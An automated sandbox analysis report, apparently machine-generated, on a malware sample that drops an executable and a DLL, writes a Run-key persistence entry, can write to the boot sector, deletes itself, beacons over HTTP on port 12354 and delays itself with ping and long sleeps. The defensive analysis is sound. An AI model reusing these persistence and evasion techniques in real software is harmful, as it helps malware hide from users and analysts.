Source: nt11qTrX4f.exe	Static PE information: section name: nsp0
Source: nt11qTrX4f.exe	Static PE information: section name: nsp1
Source: nt11qTrX4f.exe	Static PE information: section name: .imports
Source: wlbldvv.exe.0.dr	Static PE information: section name: nsp0
Source: wlbldvv.exe.0.dr	Static PE information: section name: nsp1
Source: wlbldvv.exe.0.dr	Static PE information: section name: .imports
Source: uycmiha.dll.5.dr	Static PE information: section name: nsp0
Source: uycmiha.dll.5.dr	Static PE information: section name: nsp1

Source: C:\Users\user\Desktop\nt11qTrX4f.exe	Code function: 0_2_004043B0 push eax; ret	0_2_004043DE
Source: C:\wlbldvv.exe	Code function: 5_2_004043B0 push eax; ret	5_2_004043DE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10010F90 push eax; ret	6_2_10010FBE

Source: nt11qTrX4f.exe	Static PE information: section name: nsp0 entropy: 6.956476287195321
Source: nt11qTrX4f.exe	Static PE information: section name: nsp1 entropy: 7.886458519780143
Source: wlbldvv.exe.0.dr	Static PE information: section name: nsp0 entropy: 6.956476287195321
Source: wlbldvv.exe.0.dr	Static PE information: section name: nsp1 entropy: 7.886458519780143
Source: uycmiha.dll.5.dr	Static PE information: section name: nsp1 entropy: 7.935625569193875

Persistence and Installation Behavior

Contains functionality to infect the boot sector

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: sprintf,CreateFileA,DeviceIoControl,GetLastError,FormatMessageA,CloseHandle,wsprintfA, \\.\PHYSICALDRIVE%d

6_2_1000C230

Source: C:\wlbldvv.exe	File created: C:\xrzyhhhnk\uycmiha.dll			Jump to dropped file
Source: C:\Users\user\Desktop\nt11qTrX4f.exe	File created: C:\wlbldvv.exe			Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe

File created: c:\xrzyhhhnk\ReadMe.txt

Jump to behavior

Boot Survival

Contains functionality to infect the boot sector

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: sprintf,CreateFileA,DeviceIoControl,GetLastError,FormatMessageA,CloseHandle,wsprintfA, \\.\PHYSICALDRIVE%d

6_2_1000C230

Creates an autostart registry key pointing to binary in C:\Windows

Source: C:\Windows\SysWOW64\rundll32.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run EvtMgr

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run EvtMgr			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run EvtMgr			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\wlbldvv.exe

File deleted: c:\users\user\desktop\nt11qtrx4f.exe

Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50135 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50137 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50167 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50192 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50219 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50239 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50246 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50268 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50299 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50304 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50337 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50340 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50371 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50412 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50415 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50447 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50452 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50497 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50502 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50536 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50539 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50590 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50594 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50640 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50644 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50708 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50714 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50772 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50776 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50841 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50851 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50945 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50952 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51063 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51069 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51154 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51166 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51291 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51301 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51401 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51414 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51533 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51548 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51639 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51649 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51772 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51788 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52165 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52286 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54230 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54505 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56345 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56391 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57204 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57387 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58099 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58179 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59753 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59835 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60912 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61004 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62581 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62583 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63454 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63492 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65033 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65127 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50256 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50430 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52169 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52266 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52676 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52682 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53560 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53566 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54654 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54806 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56588 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56590 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57783 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57847 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58774 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58950 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59714 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59730 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60988 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60990 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61933 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62016 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63160 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63243 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64727 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64804 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50179 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50311 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51399 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51452 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53086 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53200 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54842 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54905 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56792 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56888 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58184 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58207 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59031 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59076 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59530 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59568 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61476 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61638 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63134 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63230 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65078 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65137 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50319 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50388 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51750 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51800 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53356 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53424 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54703 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54705 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56040 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56089 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57995 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58104 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58925 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59001 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60602 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60708 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62276 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62337 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64138 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64191 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49432 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49507 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50935 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51052 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52733 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52734 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54680 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54699 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55365 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55462 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56639 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56724 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58030 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58058 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58062 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58066 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58181 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59142 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59341 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59628 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60194 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60387 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60644 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60694 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60748 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60991 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61096 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61224 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61250 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61253 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61296 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61444 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61642 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63052 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63056 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63057 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63169 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63243 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64807 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64884 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64903 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64915 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49638 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51668 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51765 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51769 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51770 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51772 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51799 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52068 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52557 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52654 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52849 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53786 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53913 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53933 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53964 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54089 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54224 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54304 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55095 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55132 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55314 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56639 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56768 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56930 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57067 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57925 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58012 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58064 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58209 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58515 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58739 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58867 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59071 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59278 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59457 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59959 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60128 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60430 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61582 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61654 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61785 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61786 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61835 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63071 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63075 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63076 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63215 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64503 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64505 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64507 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64618 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64687 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64800 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64881 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64945 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65050 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65152 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65434 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65455 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49214 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49314 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49366 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49524 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50540 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50787 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51287 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51316 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51379 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52865 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52868 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52871 -> 12354

Source: C:\Users\user\Desktop\nt11qTrX4f.exe	Code function: 0_2_00401DE0 IsIconic,6CE23130,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,6CE230D0,6CE1FEB0,		0_2_00401DE0
Source: C:\wlbldvv.exe	Code function: 5_2_00401DE0 IsIconic,6CE23130,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,6CE230D0,6CE1FEB0,		5_2_00401DE0

Source: C:\Users\user\Desktop\nt11qTrX4f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nt11qTrX4f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nt11qTrX4f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\wlbldvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\wlbldvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\wlbldvv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\SysWOW64\rundll32.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_6-5442

Uses ping.exe to sleep

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 761			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 6099			Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_6-6263

Source: C:\wlbldvv.exe

Dropped PE file which has not been started: C:\xrzyhhhnk\uycmiha.dll

Jump to dropped file

Source: C:\Users\user\Desktop\nt11qTrX4f.exe	API coverage: 9.7 %
Source: C:\wlbldvv.exe	API coverage: 9.5 %

Source: C:\Windows\SysWOW64\rundll32.exe TID: 6716	Thread sleep count: 761 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6716	Thread sleep time: -7610000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 2436	Thread sleep count: 88 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6556	Thread sleep time: -2400000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 5780	Thread sleep time: -3000000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6720	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 5664	Thread sleep count: 199 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 5664	Thread sleep time: -59700000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6568	Thread sleep time: -1080000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 2684	Thread sleep time: -1800000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 4956	Thread sleep time: -10800000s >= -30000s	Jump to behavior
